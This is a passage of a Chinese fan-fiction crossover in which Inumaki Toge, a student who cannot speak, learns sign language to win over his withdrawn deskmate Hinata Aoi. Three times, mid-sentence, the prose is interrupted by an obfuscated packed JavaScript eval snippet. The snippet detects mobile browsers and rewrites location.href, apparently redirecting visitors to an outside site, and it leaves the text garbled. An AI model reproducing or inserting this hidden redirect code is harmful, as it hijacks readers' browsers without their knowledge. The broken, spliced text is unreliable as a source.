还没等她开口石田就了解了她的意图,并失去对音调的掌控,略大声地带着拒绝叫嚷出声。 意识到自己有些反应过度,石田闭上嘴飞速瞟了一下狗卷那边,然后抱怨地看了一眼植野,扭过头。 植野直花也被石田的声音吓了一下,嘟囔着“那么激动干嘛?”,还是讨好地又戳了戳石田。 “……你可是班级里人缘最好的男生了,新同学不照顾一下的吗?” 她又小声补充:“又不是所有人都是西宫……” 这两句话简直是在戳石田将也的肺管子。 提她干嘛?!!石田将也气极。 一想到那个人他就觉得憋屈,好像一切的发生都是他的错。 石田越想越生气,凭着一股想证明自己的冲劲儿从座位上直愣愣站起来,三步并做两步走到狗卷棘的面前。 “喂、不对,那个……你、你好!” 石田的眼神到处乱飞,不敢跟狗卷对视超过一秒,还特意看了眼狗卷的耳朵,确定没有什么不该出现的物品。 “……中午要一起吃饭吗?” * “所以你连自己的名字都没介绍,就跟人家约了午饭?” 石田根本不知道自己的脸有多红,还在嘴硬:“吃完饭不就熟悉了?我是想着到时候跟你们一起介绍。“ “……别笑!” “我没笑~”植野努力收住自己又无语又好笑的表情。 还是川井未希发现了其中的重点:“‘到时候’是指?” “吃饭的时候啊!我们不是一起吃吗?”石田一脸理所当然,半点儿没有拉别人下水的愧疚。 植野直花大惊失色:“谁要跟你一起吃啊!” “不是你捅的我,你劝的我吗?”这次石田将也学精了,不再独自当那只出头的鸟、那支自动瞄准射击的枪。 现在谁要是离开这个饭局,那真是做不成朋友了。植野和川井只能不情愿地认下。 午休时间—— 狗卷棘目送日向葵拿着便当离开教室,然后去赴了约。 不抱有过多的期待就不会失望,他早就明白了这个道理。来到普通的学校也只是希望可以过安静、平稳的校园生活,不再去遭受冷嘲热讽或是武力打压。 要保护好日向葵,要过安宁的生活——他给自己定下这两个目标。 现实却还是狠狠地推歪他的flag。日向葵理都没理他一下。 ......让女孩心情变差了,还能继续所谓的“保护”吗?男孩得出否定的答案。 狗卷棘大概从灰原雄那里了解过日向葵,知道她不是会记这种仇的性格,但更多的灰原雄就不透露了,只说让他自己跟日向葵相处,毕竟人对人的态度不能一概而论。 如今不能一概而论的含义被他深刻体会到了。这比记恨还要严重,根本就是把他当空气。以为是摸索到友情的开局,结果一脚踏入横亘在二人之间的深渊。 他急需分析出为什么日向葵会是这样的反应,也就答应石田的邀请,想从日向葵的同学这边旁敲侧击。 ...... 此次小学生中午聚餐的参与者都学到了一个道理——不要在吃饭的时候让哑巴当话题的主角! 一个人拥有两只手,一般只有一只手会被锻炼的额外灵活。如果是两只手都很灵活,都能写字的话,那简直就是先天抄写的圣体。 在场的学生都是右撇子,右手拿筷子,左手扶便当,嘴巴用来叽叽喳喳地讲话。狗卷棘也是右手拿筷子,左手负责把口罩揭开一个小口用来运送食物......他没有嘴巴讲话,更没有手来“讲话”。 就算他是先天抄写的圣 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15380289|168439||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 体,也空不出一只手来“讲话”。 一开始别人自我介绍的环节他都用点头应付过去了,剩下的时间无论听到什么问题,他都眨着那双无辜的大眼睛看过去,就差把“我不方便回答”刻在眼睛里。 另外三人没办法,开展不出有关新同学的话题,只能聊些日常,渐渐把狗卷棘边缘化了。 狗卷棘也是老老实实在一旁吃自己的便当,时不时根据话题做出相呼应的反应,显得自己不是那么格格不入。 他的目的也达到了。 如果对其他人都不感兴趣,生硬地提起有关日向葵的问题,也太奇怪了些。 但是他本身就不方便表达,也就不浪费时间去兜圈子套话,默默地倾听更有利于他收集信息,还能了解每个人的性格,挑选出最合适的交流对象。 “……明明妈妈是很厉害的理发师,你怎么留了一个刺猬海胆头?” 聊着聊着就不知道为什么聊到了发型上面。植野直花拿着筷子比量着石田的头发,像是想把“海胆”用筷子给掰开。 “很帅的好吗!”石田被不懂什么是炫酷的女孩气到了,他小手一挥“狗卷不也是刺猬头吗?你怎么不说他!” 植野的眼珠一转,语气微微弱了下来:“……狗卷同学的妈妈又不是理发师。”而且人家比你长得好看很多,你不知道吗? 为了不让石田破防,她还是把后半句话咽进肚子里。 话题回流到狗卷棘的身上。 “狗卷同学其实更适合头发长一点的造型吧?” “嗯嗯,就是那种落到眉毛的长度。”川井未希表示肯定。 “噢,像《到点就下班的我简直是太酷辣!》里面女主的青梅竹马一样!” 女孩们的脑子里面有画面了。 “头发丝滑蓬松,拿卷发棒带一下发尾,刘海的中间稍微分出些空隙。” “嗯嗯,真的很适合啊!”川井未希发出感叹,好像是亲眼目睹狗卷棘换成这个发型。 石田忍受不了她们了:“好恶心啊~,最帅的还得是迪迦奥特曼的莫西干头吧!” “……” “……” 两个女孩子都沉默了。 “怎么,我说的不对吗?”这世界上怎么可能有人会拒绝奥特曼? “没什么……”植野摆摆手,“你喜欢就好。” 看来石田妈妈已经为了石田的发型做出巨大的努力了。 要么她们根本不敢想象石田的发型将会多么遭受周围男生的嫉妒。 狗卷棘还被困在两位女生描述的发型里——长发及眉,中间分开……不就是灰原雄的发型吗? 灰原和女孩的关系应该很不错吧。 所以日向葵不理他是因为不喜欢他的发型? 那她应该也一定不喜欢石田将也。狗卷棘下定论。 这种儿戏的原因也被他列入了“他被忽视的因素”备选项。他不像石田那样对“艺术”有自己的追求,改个发型就能够亲近日向葵可不要太划算。 植野直花转头看见狗卷棘在垂眼沉思,还以为他把石田的话听进去了,也想着换一个奥特曼的发型,赶忙找话题打断。 “狗卷同学保持原样就好,跟你的气质也很符合,清冷的感觉。”班级里好不容易来个帅哥,可别再霍霍了。 「谢谢。」狗卷棘已经吃完了,拿出笔记本回应。 “……啊、嗯,不客气。”植野眨了眨眼,看向一旁的川井,自以为小声,“狗卷同学和小葵好像啊,眼睛那里。” “哪里?颜色都不一样啊?” “给人的感觉是一样的啊。”都是一种能把人看穿的感觉,脸上再怎么笑,眼睛都保持冷静的洞悉。 她也注意到自己的声音不算很小,转过来跟狗卷棘解释:“日向葵你知道吗?就是你的同桌,跟你一样都不方便说话。” “对了,你应该懂手语吧?这样你们交流应该会很方便的~” 一旁的川井略歪着脑袋,觉得这句话怎么那么耳熟。 小直是不是……跟西宫说过类似的话啊? 17. 新生篇 植野直花是跟西宫硝子说过同样的话,并且浇灭了西宫一部分交友的热情。 建议是真的在建议,植野也不是明确的知道日向葵会不会因为手语跟西宫硝子变得更亲密。 但她的潜意识觉得日向葵不会,促使她脱口而出,开了一场没人知道自己正在参与的“赌局”。 对于狗卷棘她还没到有这种小心思的程度。 可能是因为狗卷棘跟日向葵太像了,又或者是因为狗卷棘是男生,跟她不在同一个赛道,所以她只是顺嘴说出了那句话而已。 至于会造成什么结果,她也不怎么在意。 然而说者无心,听者有意。 狗卷棘很在意这句话,尤其是……他根本不会打手语! 作为一个半路出家的哑巴,他只是不适合说话,不是不能说话,唯一习得并且严格执行的只有“闭嘴”这一件事。 学手语根本没在他的认知范围内,甚至拿笔记本说话都是跟日向葵学的。 之前他觉得用笔说话是日向葵与世界沟通的途径。现在他知道他错了,这不过是日向葵照顾他人的手段。 她可以用手语说话,用行动说话……或是根本不说话。 狗卷棘恍然顿悟:原来是我在自以为是。 日向葵想跟谁沟通就跟谁沟通,不想沟通的时候就独自美丽。 那种被日向葵刻意避开的感觉不过是他自我意识过剩的产物。 像是单独上街的社恐,身边路过任何一个人都感觉对方在看他,听到任何一句话都感觉在评论他。 狗卷棘认为自己陷入了过度以自我为中心的主观视角。 幸好不到半天他就检察出了自己的问题。 “日向葵为什么不理他?”这个疑问已经是过去式,现在的狗卷棘只想着把自己能做到的做到最好,安静等待日向葵想跟自己交流的时候到来。 …… 学手语最大的阻碍应该就是没机会实战。 老师为什么会布置作业?因为反复的练习才能在普通人的大脑里留下深刻的印象。 甚至有些难题不是学会了,而是背住了。 狗卷棘有学习的毅力,练习的动力,但他的习题册是被撕下参考答案的版本,就算认认真真地答完了也不清楚哪些是正确,哪些是错误。 唯一能批改作业的老师——日向葵还不理他,导致他好像学会了,但动作里总是透着一股不自信的感觉。 这该怎么解决呢? 狗卷棘感到苦恼,心不在焉地穿过连廊往班主任办公室的方向走去。 应该是想了解他在新班级的适应情况,班主任让一位还没被他记住名字的同学喊他过去。 枯燥的路程被活跃的大脑细胞填充,垂在身边的手微微抬起,默默地复习各种手势。被攥在手里的纸条随着动作生出褶皱,在掌心缩成一团。 那位同学没有对狗卷棘讲话,特地写了张字条放到他桌子上给他看,然后反应过来什么,想解释却又尴尬地挠了挠头走了。 ! 不知多少个“啪嗒”声交叠在一起,狗卷棘拽稳了对面女孩的胳膊,却没护住那一摞作业本,与地砖有了场突如其来的约会。 女孩抽回手臂,连忙鞠躬致歉,蹲下身子去整理地上的笔记本。 狗卷棘也不可能就这么直接走开,也蹲下身去帮忙。 刚才的相撞也不清楚是谁的问题,但他确实在走路时开小差了,只觉得手语的基础手势围成一圈在他眼前绕,忘记躲避走廊里的行人。 女孩感激地接过狗卷棘捡好的作业本,空出一只手在衣服口袋里摸了摸却只摸到柔软的布料。 她无奈地傻笑,把作业本暂时放到地上,两只手攥成拳,单独伸出大拇指做出两下按压的动作。 「谢谢。」 狗卷棘瞪大了眼睛,连忙用手打出「不客气。」 他好像找到“老师”了...... …… 日向葵最近异常烦恼。 她根本做不到彻底无视狗卷棘。 课间的时候只能全神贯注地看课外书熬过那段时间,午休也是一下课就拿着便当盒跑到自己的秘密基地,不给自己跟狗卷棘对视的机会。 秘密基地就是当初她拉着石田将也去的那层楼梯转角。透过大门的窗户可以看到空旷的天台,高高的绿色拦网和宽阔的湛蓝天空。 运气好碰上没锁门的时候,还可以站到天台上去感受拂过面颊的微风——那一刻她感觉自由极了。 这边基本没人会过来,所有的空气是她一个人独享,也能让她静下心来沉心思考。 她到底应该如何面对狗卷棘? 以往面对同学都只是恰到好处的疏离,但对于狗卷棘却是冷落的过分了。 明明是全班级靠得最近的距离,却连一个对视,一个笑脸都没有,已经明显到植野直花都来偷偷问狗卷棘是不是得罪过她了——但是狗卷棘偏偏就是不放弃朝着她靠近! 一般在她做出两三次冷淡的举动,那人就不会再来亲近她了,甚至心思敏感的同学只需要一次就可以达到这种效果。 但狗卷棘偏偏缺了那根筋。 看上去像是个冷酷的人,没想到对于“想跟日向葵做朋友”这件事如此坚韧。 在日向葵面前好像放下了所有的自尊心,没有硬凑上前,但一直待在能让她感觉到的地方,一遍又一遍地彰显自己的存在。 关键日向葵还真的吃这一套。 冷脸、不搭理,已经是日向葵最极端的手段了,狗卷棘把距离感掌握的很合适,她没有理由做出什么更过激的行为。 并且她只是想跟别人疏远,不是想要去伤害别人。 ……她只是觉得自己没资格交朋友罢了。 江头美佳这个名字日向葵没有忘记,闭上眼还能回忆起那个幼小的粉色身影,但是长相已经模糊掉了,她想象不出自己曾经的好友现在会是什么样子。 当初她猝不及防地”失踪”一定对美佳的打击很大。 八年的时间过去她仍旧不敢去联系江头美佳,担心咒术界的人察觉她没有失忆,为了维持咒术界的神秘,把知情人士都随便处理掉……也担心对面早就把她忘记了。 忘记了也好,她不与别人深交,就不会有人再因为她的突然消失变得悲伤痛苦,她也无法越过江头美佳跟任何其他人开怀的嘻笑打闹。 她放不下、走不出那段时光,是真真切切地被那段时光杀死了…… 所以狗卷棘要怎么办? 说是对过去的PTSD,其实是日向葵刻意放大影响的结果。 狗卷棘的眼睛跟那个男人也没有多像。 那个男人的眼睛要更深邃,紫色像被结结实实地压在眼底,不仔细看就是一团乌黑。 狗卷的眼睛更加透亮,像一大片的薰衣草在阳光下轻轻摇曳,闪着真诚纯粹的光。 脖颈上曾经困扰她很久的伤痕早就不存在了,被那只强有力的手压迫的感觉也渐渐被遗忘。 她不记得痛感,但她记得自己当时很痛,脖颈痛,喉咙痛,下巴被卡着也很痛,身上却冷得刺骨,尤其是心脏像被冻住了一样。 这是一个拿命习得的教训。 她要是想好好活下去就要远离这种人,远离这种人的同类。 一招不慎,她特殊的能力被宣扬出去,被咒术界发现,也不知道会造成多么严重的后果。 所以狗卷棘要怎么办? 日向葵想不出答案,只能选择继续僵持。 …… 狗卷棘的手语打得越来越坚定了。 一捕捉到日向葵转头,就毫不犹豫地用手语去搭话,被口罩遮挡的嘴角微微向上翘着,眼睛里的光大声喊着“快表扬我!”。 班级里都有些同学被他调动起来了,突然觉得会手语是一件很炫酷的事情,时不时来找狗卷棘请教。 有几位女生甚至被狗卷打手语的潇洒姿态帅到了,加上颜值加持,对狗卷带上了粉红滤镜。 石田将也对此嗤之以鼻,带着自己的两个跟班远离这群人。 当初有老师来教的时候除了美代子,没一个心甘情愿去学的。 现在因为觉得好玩就随随便便去摆那种造型,小心玩着玩着自己真的变成哑巴! 石田将也烦闷地踢着地上的石子,脑袋里播放着同学们学习手语的画面,手上也不自禁摆出相应的手势。 “啪!” 他趁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15380290|168439||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着别人没发现狠狠拍了一下自己的手背,盯着泛红的皮肤表情凝重,不知道在想些什么。 * 看到狗卷棘在狂热学习手语,日向葵表示开心,甚至有点祝福。 在相处中同学们都发现了狗卷冷面下的可爱,人气骤增,已经有了能聊得起来的朋友。 可是狗卷在外面绕了一圈仍旧执着地回到她身边,想要吸引她的注意,还是令她有些头疼。 下课铃声响起,日向葵照常抱着排球去体育馆练习。 没有发球、传球、拦网、扣球,日向葵永远都是自己跟自己玩。 有过看她技术不错上前搭话的,都被她摆摆手拒绝了。 6V6的赛事在她眼里一直都是两个人就能玩的游戏……只不过现在只剩她一个人无意义的重复。 在日复一日的练习中已经可以把球托到任何想要的高度,却总是一直维持在手腕的正上方,框定在明确的界限内。 也可以脱手打到二楼的观台,打过白色的拦网,打到随机一个幸运儿的头上……但是又有什么意思呢? 只有在非常走神的时候日向葵才会失手。 在怀念过去的时候,恍然觉得对面有另一双稚嫩的双手在期待她的时候,就会下意识把球传出去。 她好像真的看到了这么一双手。 排球在空中旋转回落,高高的抛物线稳稳地敲击在自己的手腕偏下的位置,然后又回弹到另一双小臂上。 打了两个来回,日向葵回过神来,把再次朝她过来的排球接住了握在手中。 循着球来的方向看去,男孩的眼睛里映着欢愉的光,右手伸出食指直立向上,后又向左侧划出一个弧度,紧接着攥拳向上伸出拇指。 「下午好~」 日向葵下意识抱紧排球,一面紧抵着她的腹部。 这应该是自狗卷棘转学过来后他们俩真正意义上的第一次对视。 这一刻她必须要承认——狗卷棘不像任何人。 他就是他自己,是日向葵从前没有遇到过的独立的一个人。 她垂下眼眸掩饰住心底的慌乱。 这次是她的失误把球传出手跟狗卷棘有了互动,她的教养不允许她更加没有礼貌了。 点了点头以示看见,摆了摆手以示告别,日向葵拿上外套、抱着排球,体面地落荒而逃。 在角落里半蹲着偷偷观察的西宫硝子忍不住攥紧自己的双拳低声欢呼,显然是兴奋极了。 她的徒弟太厉害了! 学得又快,又有恒心,终于把日向葵的心防撕开了一个小口,今天可以说是迈开了历史性的一步! 她要过去给他庆祝! 却被一只手拍了拍肩膀,按住了。 “西宫?西宫!” 石田将也的声音由小变大,在西宫硝子的背后叫了她无数遍,却没有得到回应,无奈只好走近去拍她的肩膀来引起注意。 被突然出现在身后的人吓了一下,身后的人是石田又吓了一下,西宫跳出半米远,无措地看向石田。 石田被西宫的动作也惊得僵硬了一瞬,而后不好意思地挠着后脑,扭捏道:“好吧……抱歉。” ? 西宫硝子没有听清。 “我是说……对不起!”男孩涨红着脸大声喊出来,有远处路过的同学投来诧异的目光。 石田将也为过去的种种道歉,他的那些过分的恶作剧,那些自以为是的正义。 反正他已经道歉了,原不原谅是西宫的事,石田暗自给自己打气开口: “之前欺负你……是我的错,钱我已经在攒了,但是可能需要一点时间……就算是以后没机会再见面了我也会还上的,那个,对,就是这样,再见!” 石田转身跑开了。 不明所以的狗卷棘走过来看向自己的老师。 女孩还在怔愣的状态中,泪珠却已经在眼眶里打转了。 狗卷棘手忙脚乱地不知道该怎么安慰。 西宫硝子比他更忙更乱,一会儿打出「没关系」一会儿打出「恭喜」,手指上加载的语言系统崩溃了。 最后她双手捂住脸专心去哭了。 不明白为什么,她现在就是想哭而已。 18. 新生篇 狗卷棘到普通的学校上学不过是心理上的过度而已。 咒言术无法随便去练习,但体术是不能落下的。 每天放学他都会在操场上跑圈,回家后跟自己上班上得腰间盘突出的父亲练习格斗。 没过多长时间还想多活几年的父亲就给他报名了训练营。 “专业人士给我推荐的,主要是锻炼攀越能力和身体敏捷度,会教一些身法,还有近战技巧的训练。” “老”父亲非常满意这个训练营,边说边点头。 “放学后就直接去那里吧~” 呕吼,解脱! 笑意快要掩饰不住了,狗卷爸爸轻咳两声压制下去。 这笑可太不厚道了,他也不想自己的孩子去经历这些磋磨,但是咒术界不饶人,比起跟自己小打小闹地练习,不如直接找专业的。 ……毕竟以后是要赌上性命去战斗! 狗卷棘听话地应下,只是有些遗憾不能再去体育馆瞅准时机跟日向葵进行排球互动了,也少了些时间跟师傅交流进展与心得。 父母的工作都到了繁忙的时间,之前把他从咒术学校接出来又照顾他的伤势已经用掉很多假期了。 这次他一个人照着地址,去找那家父亲考察过的训练营。 很顺利,教练在门口举着写有他姓名的牌子,热情地把他迎了进去。 财神爷来了~ 看着眼前几乎把所有课程都定了一遍的男孩,教练的眉宇间满是慈爱。 “你好狗卷君,我是这家训练营的1号教练山本川岛。” “我先带你大致转一下我们的场地吧~” 这家训练营的生意还是比较火爆的,尤其是赶上放学后的时间,很多家长带着孩子来体验课程。 来玩的和来学的一眼看过去很分明。 有穿着护具不小心掉到软垫上就瘪嘴开始哭的,也有踩着滑板一个重心不稳在地上滚了两圈跟没事儿人一样站起来继续干的。 山本川岛赶紧带着狗卷棘穿过这片区域,担心孩子被吓到,后续的课程直接退了。 “我们的训练保护措施都是很到位的,护具和软垫都很齐全。” “对了,狗卷先生说是有基础的是吗?” 狗卷棘反应了一下才想明白这个“狗卷先生”指的是他爸爸,肯定地点了点头。 “那好,我们先做几组动作看一下。” “有什么需求,例如上厕所之类的,可以打手语跟我说哦~” “我还是懂一些的。”他就是靠这个优势把这一单抢过来的! 果然身上的技能是不嫌弃多的~ 狗卷棘又点了点头。 也不知道他的手语水平和教练的手语水平哪个更算是只懂一些。 山本川岛对狗卷棘简直是越看越满意。谁不喜欢听话钱还多的客户呢? 他忍不住打开话闸:“你有个学姐跟你的情况差不多,在我们这边已经学到中级课程了,一会儿介绍你们认识一下~” “啊,她来了,就是门口那个。” 狗卷棘听到“跟他的情况差不多”时就已经生出期盼了,顺着教练手指的方向看去,正好被路人挡住了视线。 刚刚摔了一跤就哭出声的男孩正嚷着“一点也不好玩!”拉着他妈妈离开这里。 狗卷有些烦躁地错开几步,终于看到了被挡在门口还没进来的女孩。 一瞬间眼睛更亮了。 谁说这课不好的?这课也太棒了!!! 教练都发现了狗卷眼睛里的小星星,想着正好介绍两个人认识,伸手招呼日向葵过来。 “小葵,这里这里!” 日向葵:…… 这是什么诡异的组合?是幻视了吗? 日向葵忍不住抬手揉了揉眼睛,男孩依旧和她的教练站在一起乖巧地等她走过去。 ……好吧,你赢了。 到底是什么样躲不开的缘分让他们一次次的相遇? 上辈子难不成是纠纠缠缠,有什么没还完的债吗? 僵持了几秒钟,日向葵赶在教练亲自过来拉人之前抬脚走了过去。 一步迟疑一步决绝,一步迟疑一步决绝,走到了二人面前。 山本教练:? 这是怎么了? 这孩子也不是个社恐啊? 山本川岛放下心中的疑惑,向狗卷棘介绍:“这就是你的学姐日向葵,有什么不懂的地方都可以请教她。” 狗卷点头的速度明显更快了,小心翼翼地伸出来手。 “第一次”见面都是要这样的吧? 日向葵见状只好伸出手轻轻回握一下。她不能在这个注重团结友爱的教练面前落了狗卷棘的面子。 看来以后是不得不接触了…… 狗卷棘的基础确实很好,并且好得过头了,跑酷课程直接安排跟日向葵一起上。 主要是教练把动作演示一遍,讲讲窍门,让孩子们一遍遍去试,身体熟练就好了。 日向葵认定狗卷棘绝对藏拙了。 装作不开窍的样子打手语来问该怎么做,看她示范一遍还会亮着眼睛来夸她。 日向葵觉得自己像极了被耍的猴子……想竖一张禁止观看动物表演的牌子。 由于太过兴奋,狗卷棘忘记掌握尺度,在一次又一次像哄孩子一样的操作后终于被日向葵赏了一个爆栗。 「好好做。」 狗卷棘捂着脑门呆呆地看向冷着脸的女孩,缓慢地点头。 ……完了,他不要太开心了。 日向葵对他打手语了!!! 第二天到学校后他迫不及待地去找西宫硝子分享这个喜讯。 与此同时,日向葵又被老师约谈了。 上一次还是因为西宫硝子,这一次不会是因为狗卷吧? 日向葵有一种不好的预感。 果然…… “小葵,你跟狗卷之间是不是有什么误会?” “有同学来我这边反映你对狗卷的态度过于冷淡了。”其实原话是“恶劣”,但班主任不愿意形容到那么严重的程度。 “同学之间有些磕磕绊绊时很普遍的,小葵你比他们都大,包容一些,有些东西不要太放在心上,正常相处就好了。” 班主任苦口婆心地劝导,他是真的希望班级氛围不要再出问题。 再出什么事他就要怀疑日向葵是她妈妈派过来搅混水的间谍了,就为了跟他争夺最优秀教师的称号! 开玩笑的~ 日向葵现在是真切感受到狗卷棘的人缘有多好,已经有人为他鸣不平,来找班主任打小报告了。 怎么凡事皆有利于狗卷棘? 就不能劝劝狗卷棘那边,让他别努力了吗? 日向葵突然有一种被一群人推着往前走的恐怖感,即使前面是悬崖也无人卸力,只是一个劲儿地推搡,不管她是怎么想的,不管她面临着什么。 无论如何,她非常讨厌被强迫的感觉! 回到座位上,日向葵扫视一圈,发现了前排偷看她的两个女孩。 一点心思都藏不住,自以为隐蔽地收回视线假装聊天,天真的可爱。 一想到是这么傻的孩子去老师面前打她的小报告,她就气得想笑。 好啊,如你们所愿。 日向葵故意转头对着身边的狗卷棘露出灿烂的微笑,然后单手拔开笔帽,开始专心写今天的作业。 被突然的笑容晃了一下,狗卷棘还没来得及开心就先发现了不对劲。 这两天真的太幸运了,再这么幸运下去可能要出事。 他也学着日向葵的样子看了一遍全班的同学,看到前排的时候有个女孩跟他对上视线,小幅度挥了挥手,腼腆地笑了一下。 坐在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15380291|168439||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她身后的好友看见她这么害羞简直要笑疯了,挪揄地去怼她,让她红着脸转回了头。 ?? 狗卷棘不理解发生了什么,但是好像已经在出事了!! 接下来的日向葵温柔的可怕,不再刻意地无视他,每次视线相遇都会送上和煦的笑容。 但也只是态度有所“好转”,行动上的界限更加分明,连不小心蹭到衣角都会拿手帕去擦拭,像是沾染上了什么细菌。 擦拭得优雅,擦拭得正大光明,舒展的眉眼如雕刻的栩栩如生的面具扣在她的脸上,看不出半分不愉。 太可怕了…… 狗卷棘的握笔的手心都忍不住冒汗,没有心思听课,满脑袋都在推演日向葵发生这种变化的原因。 ……完全想不明白啊!他纠结地抓住脑袋。 有没有什么场外连线求助亲友的选项啊?! 一下课狗卷棘就紧急找到西宫硝子,在学校侧门边拉了个会议,表情严肃,手语都打出了要结印的气势。 西宫硝子则是中肯的,一针见血的: 「她是不是生气了?」 虽然苦于沟通障碍,西宫一向看不到事态的成因,只经受事情的结果,但她对于情绪的捕捉要比狗卷敏感得多。 狗卷棘得到这个答案发丝都蔫了,挺直的背脊像天天面对电脑饱经折磨的坐班白领一样弯了下来,精气神都消散了,冥思苦想到底是哪里出了问题。 西宫硝子也在一旁替他焦急,她当然不知道原因,也给不出很有效的建议。 西宫的敏感是有滞后性的,她收集信息的能力很弱,一般发现事情不对后就没有回旋的余地了。 这次能这么快地分析出结果也是得益于狗卷对日向葵的观察细致入微,描述得详略得当。 「道歉吧。」西宫硝子给出自己的见解。 道歉总不会出错的。 电视机里那些惹了女朋友生气的男人们都是这么做的,张口闭口都是“我错了”,也说不清楚自己错在哪儿,反正道歉的姿态先摆出来。 小到邋遢、大男子主义,大到出轨、欠债,看着难哄的女生们都会去原谅……日向葵总不能比那些女生更生气吧? 眼见西宫的眼神越发笃定,狗卷棘下意识觉得哪里奇怪,但还是接受了她的建议。 他给不了自己更多的时间来探索解题思路,刚刚上了一个台阶的他不想这么快失去这一大点的突破。 心动不如行动,狗卷棘回到教室就想着一鼓作气冲上去给女孩道歉,却直直对上已然平静的金色眼眸,如同秋日午后微风轻拂中的金色麦浪,泛着恬静与淡然。 日向葵安抚好自己了。 喜欢迁怒的人都是无能的人,她没有道理因为别人的行为对着狗卷棘耍脾气。 而且本来就逃避不开要相处,那就顺其自然吧,表面工程而已,左右不过半年他们就会各奔东西了。 日向葵自己给自己找了个台阶,合理化她对狗卷棘逐渐松懈的防备。 她率先释放出善意,打出手语: 「怎么了?」 …… 「没事。」 她是不是不生气了? 狗卷棘盘旋在手边的“对不起”欲打又止,反而有种怅然若失的感觉。 像是一场紧张激烈的拔河比赛,双方都卯足了劲儿但有一方突然撒手,另一方没了牵引力人人收获一个屁股蹲,虽然赢了比赛也是愤怒极了,气性大的都能直接上手跟对面打起来。 他当然不至于去生气,只是觉得只剩自己一个人在握着那根疲软的绳子,又好像是握着一团空气。 晚上回到家里他把压抑了半天的情绪重新翻出来复盘,闭着眼睛拧着眉头想了又想,还是拿出一本崭新的笔记本亮在下班没多久的妈妈眼前。 「妈妈,女生生气了然后又不生气了会是什么原因呢?」 19. 新生篇 “啊?” 加班了好几天好不容易正常下班的狗卷妈妈还以为自己盯电脑屏幕盯出老花眼了,看自家儿子写的话都重影。 仔细辨别才发现狗卷棘写的就是个“绕口令”。 什么生气又不生气的,棘这是……有喜欢的女孩了?还惹到对方了? 父母总是逃不过八卦儿女的感情生活。 狗卷妈妈的精神气儿一下就提起来了,话语在嘴中咀嚼了几番才把真正想问的咽回去,吐出来一句: “可不可能本来就没生气呢?” 「不可能。」 狗卷写的很确定。 当时西宫刚向他提出日向葵应该是在生气的时候他还有些疑问,毕竟如果要生气昨晚就应该开始气了,不会等到他今天什么都没干突然就生气。 而且早上进教室的时候他跟日向葵打招呼,日向葵没有继续无视他,还朝他点头了! 一切都在往好的方向发展,狗卷实在想不出日向葵会生气的理由。 但是仔细拆解女孩的变化,又都能证实西宫硝子的猜测。 所以用结果倒推,日向葵还是生气了。 ……这题太难了!狗卷除了知道女孩生过气,其余的一无所知。 “哦……”狗卷妈妈表示了解。“有其他信息吗?” …… 「没有了。」 狗卷棘所有的专注都放在日向葵身上,给出的信息点除了能用来解释日向葵生没生气,没有其他的作用。 狗卷妈妈回答的很认真:“那还是有很多种可能性的。” “比如说发现是误会,或者就是气消了,还有可能是觉得不值得。” “只有在意才会生气,不在意当然就不会受情绪的影响了。” 说到这里狗卷妈妈心里一阵甜蜜,想到了跟狗卷爸爸谈恋爱的时候因为琐事发生的一些小口角,抬手捂着侧脸回味。 诶呀,还是太爱了~ 转眼对上狗卷棘呆滞的眼神才恍然自己好像不自觉往儿子心里插了一箭,当即找补:“什么线索都没有那也太宽泛了,还是要……要弄明白女孩生气的原因!” “对,弄明白原因才能清楚那个女生生气之后为什么又不气了,要么怎么猜都是一己之见,跟真相或许差的很远。” 擦了下额角并不存在的汗,狗卷妈妈给自己圆回来了,又一次守护了儿子幼小的心灵。 但新抛出的问题更加把苦恼给到狗卷棘。 他的思绪奔跑跳跃,像被猫咪打翻的五颜六色的毛线扭曲缠绕在一起,还有打结的地方硬去用指甲扣弄变得抽丝毛燥。 手指抓着发根终于把作业写完了,狗卷棘盘腿仰坐在椅子上闭上眼睛做深层次的回忆。 对了。他猛然睁开眼睛。 那两位被日向葵注意过的同学,那两位在前座扭过身子看他的同学,应该知道些什么吧? * 端正地坐在椅子上,眼神忍不住一遍遍往教室门口的方向瞟,脚后跟下意识敲打着地面,狗卷棘早早来到教室,还没等到那两个女孩。 下一个抵达教室的是——植野直花。 狗卷棘又一次失望地收回视线。 植野注意到了狗卷的失落,一头雾水地把自己的椅子从桌面上搬下,落座。 这是怎么了?看到她就这么不开心? 她都还没找他麻烦呢! 说是不在意,发现日向葵会对狗卷棘打手语的时候还是会牙缝里泛着酸。 一开始她确实是无所谓的,在看到狗卷棘被日向葵各种漠视的时候还短暂地为他忧心过,甚至有想过帮他去劝劝日向葵……虽然她后面没这么做。 